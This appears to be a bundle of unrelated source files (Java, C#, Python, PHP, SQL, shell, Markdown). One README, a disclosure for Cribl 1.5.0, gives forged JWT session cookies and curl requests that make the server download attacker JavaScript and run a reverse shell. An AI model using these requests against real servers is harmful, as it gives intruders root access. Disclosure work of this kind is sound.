package com.vebinar.dao; import com.vebinar.entyty.User; import com.vebinar.mapper.UserMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.stereotype.Repository; import java.util.List; //@Repository("userDao") @Repository public class UserDaoImpl implements UserDao { @Autowired public JdbcTemplate jdbcTemplate; public void save(User user) { String sql = "INSERT INTO user (name, age, email) VALUES(?, ?, ?)"; jdbcTemplate.update(sql, user.getName(),user.getAge(),user.getEmail()); } public User getByID(int id) { String sql = "SELECT * FROM user WHERE id = ?"; return jdbcTemplate.queryForObject(sql, new UserMapper(), id); } public void delete(int id) { String sql = "DELETE FROM user WHERE id = ?"; jdbcTemplate.update(sql, id); } public void update(User user) { String sql = "UPDATE user SET name = ?, email = ?, age =? WHERE id = ?"; jdbcTemplate.update(sql, user.getName(), user.getEmail(), user.getAge(), user.getId()); } public List<User> findAll() { String sql = "SELECT * FROM user"; return jdbcTemplate.query(sql, new UserMapper()); } }
C#
UTF-8
2,599
2.921875
3
[]
no_license
using System; namespace Cooperativeness.OBA.Word.AddIns.FrameWork.MetaData { /// <summary> /// 定义Long类型的值对象 /// </summary> public class LongValue : SimpleValue<long> { #region 构造方法 public LongValue() { } public LongValue(LongValue source) : base(source) { if (source == null) { throw new ArgumentNullException("source"); } } public LongValue(long value) : base(value) { } #endregion #region 方法 internal override SimpleType CloneImp() { return new LongValue(this); } public static LongValue FromInt64(long value) { return new LongValue(value); } internal override void Parse() { long localvalue; if (long.TryParse(base.TextValue, out localvalue)) base.InnerValue = new long?(localvalue); else base.InnerValue = null; } public static long ToInt64(LongValue attribute) { if (attribute == null) { throw new InvalidOperationException(); } return attribute.Value; } internal override bool TryParse() { base.InnerValue = null; long localValue; return long.TryParse(base.TextValue, out localValue); } internal override int CompareToImp(long other) { return this.Value.CompareTo(other); } internal override bool EqualsImp(long other) { return this.Value.Equals(other); } #endregion #region 运算符重载 public static implicit operator long(LongValue attribute) { if (attribute == null) { throw new InvalidOperationException(); } return ToInt64(attribute); } public static implicit operator LongValue(long value) { return FromInt64(value); } #endregion #region 属性 public override string InnerText { get { if ((base.TextValue == null) && base.InnerValue.HasValue) { base.TextValue = base.InnerValue.Value.ToString(); } return base.TextValue; } } #endregion } }
JavaScript
UTF-8
575
3.40625
3
[ "MIT" ]
permissive
let converter = (input) => { let uppercase = true; let convertedString = ""; for (let i = 0; i < input.length; i++) { let character = input.charAt(i); if (uppercase === true) { character = character.toUpperCase(); convertedString = convertedString + character; uppercase = false; } else { character = character.toLowerCase(); convertedString = convertedString + character; uppercase = true; } if (convertedString.length === input.length) { return convertedString; } } }; export default converter;
Python
UTF-8
1,221
2.703125
3
[ "MIT" ]
permissive
import sys import os filelist = sys.argv[1] def get_next_path(filelist): path = "" for line in open(filelist): if not line.startswith("#"): path = line.split()[-1] break print("Got next path: " + path) return path def transfer(path): m5cmd = "m5copy vbs://:2621/"+path+ " file://159.226.233.197:2620/vgos/vg02/VO1047/Oe/ -udt -p 2681 --resume" # once more, to ensure resume finished m5cmd = m5cmd + " && " + m5cmd print("Running " + m5cmd) return os.system(m5cmd) def comment_path(filelist, path): lines = [] for line in open(filelist): lines.append(line) with open(filelist,"w") as outfile: for line in lines: if path in line: outfile.write("#" + line) print("Commented line "+line) else: outfile.write(line) try: while True: path = get_next_path(filelist) if path == "": break res = transfer(path) if res==0: comment_path(filelist, path) else: print("Problem with path " + path + ". Trying again...") except KeyboardInterrupt: print('interrupted!') sys.exit(1)
Python
UTF-8
1,279
2.640625
3
[]
no_license
from __future__ import unicode_literals from django.test import RequestFactory from unittest import TestCase from ..views import ( is_image_block, EpubExporterView, depth_from_ai) class DummyBlock(object): def __init__(self, block_name): self.block_name = block_name @property def content_object(self): class co(object): display_name = self.block_name return co() class TestHelpers(TestCase): def test_is_image_block(self): d = DummyBlock("DummyBlock") self.assertFalse(is_image_block(d)) d = DummyBlock("Image Block") self.assertTrue(is_image_block(d)) class TestView(TestCase): def test_get(self): v = EpubExporterView.as_view() f = RequestFactory() request = f.get("/fake-path") response = v(request) self.assertEqual(response.status_code, 200) def test_post(self): v = EpubExporterView.as_view() f = RequestFactory() request = f.post("/fake-path") response = v(request) self.assertEqual(response.status_code, 200) class TestDepthFromAI(TestCase): def test_depth(self): self.assertIsNone(depth_from_ai(dict(level=1))) self.assertEqual(depth_from_ai(dict(level=2)), 2)
Python
UTF-8
804
2.890625
3
[]
no_license
import sys from typing import List, Dict class Solution: def min_cost(self, costs: List[List[int]]) -> int: return self.min_cost_internal(costs, 0, -1, dict()) def min_cost_internal(self, costs: List[List[int]], i: int, prev_j: int, cache: Dict[tuple, int]): if i >= len(costs): return 0 option = (i, prev_j) if option in cache: return cache[option] min_cost = None for current_j in range(0, len(costs[i])): if current_j != prev_j: cost = costs[i][current_j] + self.min_cost_internal(costs, i + 1, current_j, cache) if min_cost is None or cost < min_cost: min_cost = cost cache[option] = min_cost return min_cost
Java
UTF-8
427
2.5625
3
[]
no_license
package br.edu.ifpb; public class Diretor extends Empregado { private String bonus; public Diretor() { this.bonus = "Departamento"; } public Diretor(String nome, int idade, double salario, String bonus) { super(nome, idade, salario); this.bonus = bonus; } public Diretor(String nome, int idade, String bonus) { super(nome, idade); this.bonus = bonus; } }
Java
UTF-8
169
1.914063
2
[]
no_license
package com.kodilla.good.patterns.challenges.food2door; public interface OrderRepository { void createOrder(String vendorName, String productName, int quantity); }
PHP
UTF-8
2,855
2.5625
3
[ "MIT" ]
permissive
<?php namespace App\Http\Controllers\Dashboard; use App\Http\Controllers\Controller; use App\Http\Requests\QuestionRequest; use App\Models\QuestionAndAnswer; use Illuminate\Http\Request; class QuestionAndAnswerController extends Controller { public function __construct() { $this->middleware(['permission:read_question'])->only('index'); $this->middleware(['permission:create_question'])->only('create'); $this->middleware(['permission:update_question'])->only('edit'); $this->middleware(['permission:delete_question'])->only('destroy'); } public function index() { $questionAndAnswers = QuestionAndAnswer::get(); return view('dashboard.questionAndAnswer.index',compact('questionAndAnswers')); } public function create() { return view('dashboard.questionAndAnswer.create'); } public function store(QuestionRequest $request) { try{ $data = $request->except('_token'); QuestionAndAnswer::create($data); return redirect()->route('question_and_answer.index')->with(['success' => 'تم ألاضافة بنجاح']); }catch(\Exception $ex) { return redirect()->route('question_and_answer.index')->with(['error'=>' هناك خطاء ما برجاء المحاولة فيما بعد']); } } public function show($id) { // } public function edit($id) { $questionAndAnswer = QuestionAndAnswer::find($id); return view('dashboard.questionAndAnswer.edit', compact('questionAndAnswer')); } public function update(QuestionRequest $request, $id) { try{ $questionAndAnswer = QuestionAndAnswer::find($id); $data = $request->except('_token'); $questionAndAnswer->update($data); return redirect()->route('question_and_answer.index')->with(['success' => 'تم التحديث بنجاح']); }catch(\Exception $ex) { return redirect()->route('question_and_answer.index')->with(['error'=>' هناك خطاء ما برجاء المحاولة فيما بعد']); } } public function destroy($id) { try { $questionAndAnswer = QuestionAndAnswer::find($id); if (!$questionAndAnswer) return redirect()->route('question_and_answer.index')->with(['error' => 'هذا الQ$A غير موجود ']); $questionAndAnswer->delete(); return redirect()->route('question_and_answer.index')->with(['success' => 'تم التحديث بنجاح']); } catch (\Exception $ex) { return redirect()->route('question_and_answer.index')->with(['error' => 'حدث خطا ما برجاء المحاوله لاحقا']); } } }
Markdown
UTF-8
1,171
2.734375
3
[]
no_license
Monitor Services =============== Getting started -------------- This is a demo UI for basic service monitoring. The UI is built using Typescript and Express and is backed by a backend service, repo [here](https://github.com/unicodr/vertx-monitoring-service), which is built using Vert.x to expose a HTTP/JSON web API to create, read, and delete services and checking the status of the listed services every minute. The UI is simple, no CSS or styling, it lists all the services and let you create new and delete existing. Both the UI and backend are deployed with [Heroku](https://www.heroku.com/) and are configured to be automatically built and deployed on changes to the master branch. Feel free to checkout the [live demo](https://vertx-monitoring-client.herokuapp.com/). Running it locally -------------- Checkout the code. Configure the environment variables for your backend host and server: ``` SERVER_HOST=https://vertx-monitoring-service.herokuapp.com SERVER_PORT=443 ``` This example works with the deployed API in Heroku. Start application locally on port 3000 by running: ``` npm install npm start ``` Browse to http://localhost:3000/ Enjoy!
Markdown
UTF-8
1,274
3.046875
3
[]
no_license
# Cleaning-and-Getting-Data-Project Cleaning and Getting Data Project The goal of this project is to prepare tidy data that can be used for later analysis. This repository has the following: 1) a tidy data set as described below, 2) a code book that describes the variables, the data, and any transformations or work that you performed to clean up the data called CodeBook.md 3) R script run for cleaning the data run_analysis.R The original dataset was dowloaded from: https://d396qusza40orc.cloudfront.net/getdata%2Fprojectfiles%2FUCI%20HAR%20Dataset.zip The discription of the data field is given in details at: http://archive.ics.uci.edu/ml/datasets/Human+Activity+Recognition+Using+Smartphones The run_analysis.R does the following operations on the dataset: 1.Merges the training and the test sets to create one data set. 2.Extracts only the measurements on the mean and standard deviation for each measurement. 3.Uses descriptive activity names to name the activities in the data set 4.Appropriately labels the data set with descriptive variable names. 5.From the data set in step 4, creates a second, independent tidy data set with the average of each variable for each activity and each subject. averages_data is also uploaded in this repository.
TypeScript
UTF-8
141
2.9375
3
[]
no_license
let n1:any=5; let s1:string=n1; console.log(s1); let s2:string=<string>n1; console.log(s2); let s3:string=n1 as string; console.log(s3);
PHP
UTF-8
2,327
2.578125
3
[]
no_license
<?php namespace Casa\Front2Bundle\Entity; use Doctrine\ORM\Mapping as ORM; /** * GruppoCaratteristica */ class GruppoCaratteristica { /** * @var integer */ private $id; /** * @var string */ private $gruppo; /** * @var string */ private $icona; /** * Get id * * @return integer */ public function getId() { return $this->id; } /** * Set gruppo * * @param string $gruppo * @return GruppoCaratteristica */ public function setGruppo($gruppo) { $this->gruppo = $gruppo; return $this; } /** * Get gruppo * * @return string */ public function getGruppo() { return $this->gruppo; } /** * Set icona * * @param string $icona * @return GruppoCaratteristica */ public function setIcona($icona) { $this->icona = $icona; return $this; } /** * Get icona * * @return string */ public function getIcona() { return $this->icona; } /** * @var \Doctrine\Common\Collections\Collection */ private $caratteristiche; /** * Constructor */ public function __construct() { $this->caratteristiche = new \Doctrine\Common\Collections\ArrayCollection(); } /** * Add caratteristiche * * @param \Casa\Front2Bundle\Entity\Caratteristica $caratteristiche * @return GruppoCaratteristica */ public function addCaratteristiche(\Casa\Front2Bundle\Entity\Caratteristica $caratteristiche) { $this->caratteristiche[] = $caratteristiche; return $this; } /** * Remove caratteristiche * * @param \Casa\Front2Bundle\Entity\Caratteristica $caratteristiche */ public function removeCaratteristiche(\Casa\Front2Bundle\Entity\Caratteristica $caratteristiche) { $this->caratteristiche->removeElement($caratteristiche); } /** * Get caratteristiche * * @return \Doctrine\Common\Collections\Collection */ public function getCaratteristiche() { return $this->caratteristiche; } public function __toString() { return $this->gruppo; } }
Python
UTF-8
631
3.171875
3
[]
no_license
n = int(input()) num_list = list(map(int,input().strip().split())) s = '' for i in num_list: s += str(i) def Permutation(n): ss = '' for i in range(1,n+1): ss += str(i) # write code here if ss == "": return [] res = [] def backtrack(ss,tmp): if not ss and tmp not in res: res.append(tmp) return for i in range(len(ss)): backtrack(ss[:i]+ss[i+1:],tmp+ss[i]) backtrack(ss,'') return res pailie = Permutation(n) index = pailie.index(s) pailie.reverse() r = list(pailie[index]) res = '' for i in r: res += i + ' ' print(res)
SQL
UTF-8
2,033
2.671875
3
[]
no_license
-- MySQL dump 10.13 Distrib 8.0.13, for Win64 (x86_64) -- -- Host: localhost Database: fumetto -- ------------------------------------------------------ -- Server version 8.0.13 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; SET NAMES utf8 ; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `comics` -- DROP TABLE IF EXISTS `comics`; /*!40101 SET @saved_cs_client = @@character_set_client */; SET character_set_client = utf8mb4 ; CREATE TABLE `comics` ( `titolo` varchar(45) DEFAULT NULL, `numero` varchar(45) DEFAULT NULL, `editore` varchar(45) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `comics` -- LOCK TABLES `comics` WRITE; /*!40000 ALTER TABLE `comics` DISABLE KEYS */; INSERT INTO `comics` VALUES ('ciao','bella','nope'),('superdrogaman','6','kk'); /*!40000 ALTER TABLE `comics` ENABLE KEYS */; UNLOCK TABLES; -- -- Dumping events for database 'fumetto' -- -- -- Dumping routines for database 'fumetto' -- /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2020-01-20 10:38:19
Markdown
UTF-8
646
2.65625
3
[]
no_license
## celeb_keras The code will be coming soon. #### Description This model is similar to the 02_celeb_transfer_learning but the bottlenecks are now used as a regularizer. Also the code is rewritten in Keras. #### Implementation The code was written in Keras, but the backend remained TensorFlow #### Preprocessing 1. Prepare bottleneck values for all images 2. Filter on images with two eyes and crop image 3. Crop faces 4. Align faces #### Model: * layers 1 - 3: Convolution * layer 4: Fully connected * layer 5: Dropout * layer 6: Fully connected * layer 7: Softmax #### Cost 1. Cross entropy of image labels 2. Bottlenecks as regularizer
C
UTF-8
1,202
3.328125
3
[]
no_license
/* * @Author: your name * @Date: 2021-07-07 16:44:48 * @LastEditTime: 2021-07-07 16:44:48 * @LastEditors: Please set LastEditors * @Description: In User Settings Edit * @FilePath: \the-beauty-of-programming\src\ch03_structure\c3-6.c */ Int CalculateStringDistance(string strA, int pABegin, int pAEnd, string strB, int pBBegin, int pBEnd) { if(pABegin > pAEnd) { if(pBBegin > pBEnd) return 0; else return pBEnd – pBBegin + 1; } if(pBBegin > pBEnd) { if(pABegin > pAEnd) return 0; else return pAEnd – pABegin + 1; } if(strA[pABegin] == strB[pBBegin]) { return CalculateStringDistance(strA, pABegin + 1, pAEnd, strB, pBBegin + 1, pBEnd); } else { int t1 = CalculateStringDistance(strA, pABegin, pAEnd, strB, pBBegin + 1, pBEnd); int t2 = CalculateStringDistance(strA, pABegin + 1, pAEnd, strB,pBBegin, pBEnd); int t3 = CalculateStringDistance(strA, pABegin + 1, pAEnd, strB,pBBegin + 1, pBEnd); return minValue(t1,t2,t3) + 1; } }
Shell
UTF-8
2,251
2.609375
3
[]
no_license
#!/bin/bash export tmp_conntrack_path=/tmp/ct/$RANDOM filepath=$(pwd) chmod -R 777 ./* mkdir -p $tmp_conntrack_path chmod -R 777 /tmp/ct chmod -R 777 $tmp_conntrack_path cd ./libnfnetlink-1.0.0/ ./configure --prefix=$tmp_conntrack_path --host=arm-linux CC=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-gcc AR=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-ar RANLIB=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-ranlib STRIP=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-strip --enable-static --disable-shared make clean make make install cd - cd ./libnetfilter_conntrack-1.0.0/ ./configure --prefix=$tmp_conntrack_path --host=arm-linux CC=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-gcc AR=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-ar RANLIB=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-ranlib STRIP=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-strip --enable-static --disable-shared PKG_CONFIG_PATH=$tmp_conntrack_path/lib/pkgconfig make clean make make install cd - mkdir -p ./../../../../../../../../../sysroots/9615-cdp/$tmp_conntrack_path/lib cp -rf ./../../opensrc/conntrack_tools/libnetfilter_conntrack-1.0.0/src/.libs/* ./../../../../../../../../../sysroots/9615-cdp/$tmp_conntrack_path/lib cp -rf ./../../opensrc/conntrack_tools/libnfnetlink-1.0.0/src/.libs/* ./../../../../../../../../../sysroots/9615-cdp/$tmp_conntrack_path/lib cd ./conntrack-tools-1.0.0 ./configure --prefix=$tmp_conntrack_path --host=arm-linux CC=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-gcc AR=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-ar RANLIB=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-ranlib STRIP=/opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-strip --enable-static --disable-shared PKG_CONFIG_PATH=$tmp_conntrack_path/lib/pkgconfig cd ./src cd ../ make clean make make install cd .. /opt/CodeSourcery/Sourcery_G++_Lite/bin/arm-none-linux-gnueabi-strip $tmp_conntrack_path/sbin/conntrack cp $tmp_conntrack_path/sbin/conntrack ./ -f rm -rf $tmp_conntrack_path rm -rf $filepath/../../../../../../../../../sysroots/9615-cdp/tmp
C++
UTF-8
540
2.703125
3
[]
no_license
#include <iostream> #include "intervallumhalmaz.hpp" using namespace std; int main() { // IntervallumHalmaz ivh(5, 20); IntervallumHalmaz ivh(16); int mettol, meddig; int N; cin >> N; for (int i = 0; i < N; ++i) { cin >> mettol >> meddig; ivh.IntervallumHalmazba(mettol, meddig); } for (int i = 1; i <= 16; ++i) { cout << ivh.Multiplicitas(i) << " "; // if (ivh.Multiplicitas(i) == 0) // { // cout << i << " "; // } } cout << endl; return 0; }
Shell
UTF-8
1,113
2.96875
3
[]
no_license
#!/bin/sh source config.sh data_dir=/data/reddit # Downloading from offsite server with torrent of data #for year in $(seq 2005 2017); do #for month in $(seq -f "%02g" 1 12); do #if [ ! -f "$data_dir"/RC_"$year"-"$month" ]; then #sshpass -p "$scp_pass" \ #rsync -r -v --progress -e ssh \ #grime@crios.bysh.me:~/torrents/data/reddit_data/"$year"/RC_"$year"-"$month".bz2 \ #"$data_dir"/RC_"$year"-"$month" #fi #done #done ## Downloading missing files from pushshift.io #for year in $(seq 2018); do #for month in $(seq -f "%02g" 1 12); do #if [ ! -f "$data_dir"/RC_"$year"-"$month".xz ]; then #wget https://files.pushshift.io/reddit/comments/RC_"$year"-"$month".xz -P "$data_dir" #fi #done #done # Downloading missing files from pushshift.io for year in $(seq 2018 2019); do for month in $(seq -f "%02g" 1 12); do if [ ! -f "$data_dir"/RC_"$year"-"$month".xz ]; then wget https://files.pushshift.io/reddit/comments/RC_"$year"-"$month".zst -P "$data_dir" fi done done
Markdown
UTF-8
2,739
2.84375
3
[]
no_license
# Disclaimer This is for informational/educational purposes only. This was put together to demonstrate an insecurity in the tool, in order for a fix to be verified by the vendor. # Info Tested on Cribl v1.5.0 - Previous versions not tested but likely vulnerable. A valid JWT token can be transfered from and injected into the session of another Cribl instance, giving the user unauthorised access. Furthermore, the encryption key used on to generate the JWT/Session can be used to create a valid session for any username, with an extended expiry. This, combined with the ability to run scripts within Cribl allows a remote attacker to run malicious code on a Crible instance in order to gain further control. An example of such can be seen below, using the scripts page and a long expiry JWT token, it was possible to create a reverse shell. Tested using Docker (Alpine). # Running First, modify (the remote host name) and upload your shell.js to your webserver. The file contains NodeJS code to create a reverse shell to your website. The server must have outbound network access to your remote host/port. Secondly, setup a listener on your remote host, on the port matching the shell.js: ``` nc -lvp 6669 ``` Adjust the following curl commands with your remote file. Run the CURL commands in order, the outputs should roughly match the indents below. ``` curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \ -H 'Content-Type: application/json' \ -H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \ --data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed ``` > "count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]} ``` curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \ -H 'Content-Type: application/json' \ -H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \ --data-binary '{}' --compressed ``` > {"pid":414,"stdout":"N/A","stderr":"N/A"} ``` curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \ -H 'Content-Type: application/json'\ -H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \ --data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed ``` > "count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]} ``` curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \ -H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \ --data-binary '{}' --compressed ``` > {"pid":353,"stdout":"N/A","stderr":"N/A"} # Output ```nc -lvp 6669 Listening on [0.0.0.0] (family 0, port 6669) Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720) > whoami < root > ls / < bin < dev < etc < home < lib ... ```
PHP
UTF-8
632
2.546875
3
[]
no_license
<?php if(isset($_POST['delete'])) { require('dbh.inc.php'); $delete = $_POST['delete']; $errors = ['connectionError' => '', 'queryError' => '', 'requestError' => '']; $dbh = new Dbh; $conn = $dbh->connect(); $errors['connection'] = $dbh->connError; if($conn) { try { $sql = 'DELETE FROM products WHERE id = :id'; $stmt = $conn->prepare($sql); $stmt->execute(['id' => $delete]); } catch (PDOException $e) { $errors['query'] = 'Query error: ' . $e; } } $errorsJSON = json_encode($errors); echo $errorsJSON; } ?>
Java
UTF-8
2,457
2.203125
2
[]
no_license
package com.ibm.pixogram.models; import org.springframework.data.mongodb.core.mapping.Document; @Document(collection = "allfilesdetails") public class UploadFileResponse { private String description; private String title; private String tags; private String fileName; private String fileDownloadUri; private String fileType; private long size; private String username; private String createdDate; private String createdTime; public UploadFileResponse(String fileName, String fileDownloadUri, String fileType, long size,String description,String title,String tags,String username,String createdDate,String createdTime) { this.fileName = fileName; this.fileDownloadUri = fileDownloadUri; this.fileType = fileType; this.size = size; this.description=description; this.title=title; this.tags=tags; this.username=username; this.createdDate=createdDate; this.createdTime=createdTime; } public String getFileName() { return fileName; } public void setFileName(String fileName) { this.fileName = fileName; } public String getFileDownloadUri() { return fileDownloadUri; } public void setFileDownloadUri(String fileDownloadUri) { this.fileDownloadUri = fileDownloadUri; } public String getFileType() { return fileType; } public void setFileType(String fileType) { this.fileType = fileType; } public long getSize() { return size; } public void setSize(long size) { this.size = size; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getTags() { return tags; } public void setTags(String tags) { this.tags = tags; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getCreatedDate() { return createdDate; } public void setCreatedDate(String createdDate) { this.createdDate = createdDate; } public String getCreatedTime() { return createdTime; } public void setCreatedTime(String createdTime) { this.createdTime = createdTime; } }
Java
UTF-8
561
2.453125
2
[]
no_license
package application.model; //factoring for many support of storage, example text file, db or other //in according to Password entit public class DAOPasswordFactory implements DAOFactory<Password>{ private String sql; @Override public DAO<Password> get(String type) { switch (type) { case "mysql" : return new PasswordFromMysql(sql); // use for supporting other storage type } return null; } @Override public String getSql() { return sql; } @Override public void setSql(String sql) { this.sql = sql; } }
JavaScript
UTF-8
1,081
2.609375
3
[]
no_license
import moment from 'moment'; const intlNumberFormatter = new Intl.NumberFormat([], {minimumFractionDigits: 2, maximumFractionDigits: 5}); export function toDate(date) { if (!date) { return 'n/a'; } return moment.utc(date).format('YYYY-MM-DD'); } export function toNumber(number) { return intlNumberFormatter.format(number); } export const dateToAtomFormat = (date) => moment.utc(date).format('YYYY-MM-DD[T]00:00:00+00:00'); export const dateToYmd = (date) => moment.utc(date).format('YYYY-MM-DD'); export const dateToTime = (date) => moment.utc(date).format('HH:mm'); export const dateToDate = (date) => moment.utc(date).format('MM/DD/YYYY'); export const dateToDateIgnoreTimeZones = (date) => moment.utc(moment(date).format('YYYY-MM-DD')).format('YYYY-MM-DD'); export const dateToDatetime = (date) => moment.utc(date).format('MM/DD/YYYY HH:mm'); export const removeThousandsSeparatorFromString = (string) => string.replace(/\,/g, ''); export const dateImportFromCSV = (dateString) => moment.utc(moment(dateString).format('YYYY-MM-DD')).toISOString();
Java
UTF-8
848
2.203125
2
[ "LicenseRef-scancode-free-unknown", "Apache-2.0", "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain", "EPL-1.0" ]
permissive
package com.b2international.snowowl.snomed.api.impl.domain.expression; import com.b2international.snowowl.snomed.api.domain.expression.ISnomedExpressionAttribute; import com.b2international.snowowl.snomed.api.domain.expression.ISnomedExpressionAttributeValue; import com.b2international.snowowl.snomed.api.domain.expression.ISnomedExpressionConcept; public class SnomedExpressionAttribute implements ISnomedExpressionAttribute { private final ISnomedExpressionConcept type; private final ISnomedExpressionAttributeValue value; public SnomedExpressionAttribute(ISnomedExpressionConcept type, ISnomedExpressionAttributeValue value) { this.type = type; this.value = value; } @Override public ISnomedExpressionConcept getType() { return type; } @Override public ISnomedExpressionAttributeValue getValue() { return value; } }
Java
UTF-8
2,614
1.71875
2
[]
no_license
/* * Copyright 2014 Michael Legart. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.gitblit.plugin.jabber; import ro.fortsoft.pf4j.PluginWrapper; import ro.fortsoft.pf4j.Version; import com.gitblit.extensions.GitblitPlugin; import com.gitblit.manager.IRuntimeManager; import com.gitblit.servlet.GitblitContext; public class Plugin extends GitblitPlugin { public static final String SETTING_DEFAULT_ROOM = "jabber.defaultRoom"; public static final String SETTING_USE_PROJECT_ROOMS = "jabber.useProjectRooms"; public static final String SETTING_PROJECT_ROOM = "jabber.projectRoom.%s"; public static final String SETTING_POST_PERSONAL_REPOS = "jabber.postPersonalRepos"; public static final String SETTING_POST_TICKETS = "jabber.postTickets"; public static final String SETTING_POST_TICKET_COMMENTS = "jabber.postTicketComments"; public static final String SETTING_POST_BRANCHES = "jabber.postBranches"; public static final String SETTING_DOMAIN = "jabber.domain"; public static final String SETTING_ACCEPT_ALL_CERTS = "jabber.acceptAllCerts"; public static final String SETTING_POST_TAGS = "jabber.postTags"; public static final String SETTING_USERNAME = "jabber.username"; public static final String SETTING_NICKNAME = "jabber.nickname"; public static final String SETTING_PASSWORD = "jabber.password"; public Plugin(PluginWrapper wrapper) { super(wrapper); IRuntimeManager runtimeManager = GitblitContext.getManager(IRuntimeManager.class); Jabber.init(runtimeManager); } @Override public void start() { Jabber.instance().start(); log.debug("{} STARTED.", getWrapper().getPluginId()); } @Override public void stop() { Jabber.instance().stop(); log.debug("{} STOPPED.", getWrapper().getPluginId()); } @Override public void onInstall() { log.debug("{} INSTALLED.", getWrapper().getPluginId()); } @Override public void onUpgrade(Version oldVersion) { log.debug("{} UPGRADED from {}.", getWrapper().getPluginId(), oldVersion); } @Override public void onUninstall() { log.debug("{} UNINSTALLED.", getWrapper().getPluginId()); } }
PHP
UTF-8
876
2.546875
3
[]
no_license
